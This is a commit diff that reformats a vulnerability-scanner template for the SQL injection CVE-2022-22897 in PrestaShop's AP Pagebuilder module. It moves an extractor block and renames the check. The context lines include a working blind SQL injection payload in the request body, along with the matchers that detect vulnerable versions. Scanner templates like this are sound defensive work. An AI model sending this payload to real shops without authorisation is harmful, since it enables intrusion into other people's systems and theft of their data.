Update CVE-2022-22897.yaml
parent
af2f5ade84
commit
376015ed53
|
@ -1,7 +1,7 @@
|
|||
id: CVE-2022-22897
|
||||
|
||||
info:
|
||||
name: PrestaShop Ap Pagebuilder <= 2.4.4 SQL Injection
|
||||
name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
|
||||
author: mastercho
|
||||
severity: critical
|
||||
description: |
|
||||
|
@ -60,14 +60,8 @@ http:
|
|||
X-Requested-With: XMLHttpRequest
|
||||
|
||||
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
part: body_1
|
||||
internal: true
|
||||
group: 1
|
||||
regex:
|
||||
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
|
||||
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: dsl
|
||||
name: time-based
|
||||
|
@ -76,7 +70,6 @@ http:
|
|||
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
|
||||
condition: and
|
||||
|
||||
|
||||
- type: dsl
|
||||
name: blind-based
|
||||
dsl:
|
||||
|
@ -84,4 +77,13 @@ http:
|
|||
- 'contains(body_3, "content") && contains(body_3, "{{Hostname}}")'
|
||||
- '!contains(body_4, "content") && !contains(body_4, "{{Hostname}}")'
|
||||
- 'len(body_3) > 200 && len(body_4) <= 22'
|
||||
condition: and
|
||||
condition: and
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: version
|
||||
part: body_1
|
||||
internal: true
|
||||
group: 1
|
||||
regex:
|
||||
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
|
||||
|
|
Loading…
Reference in New Issue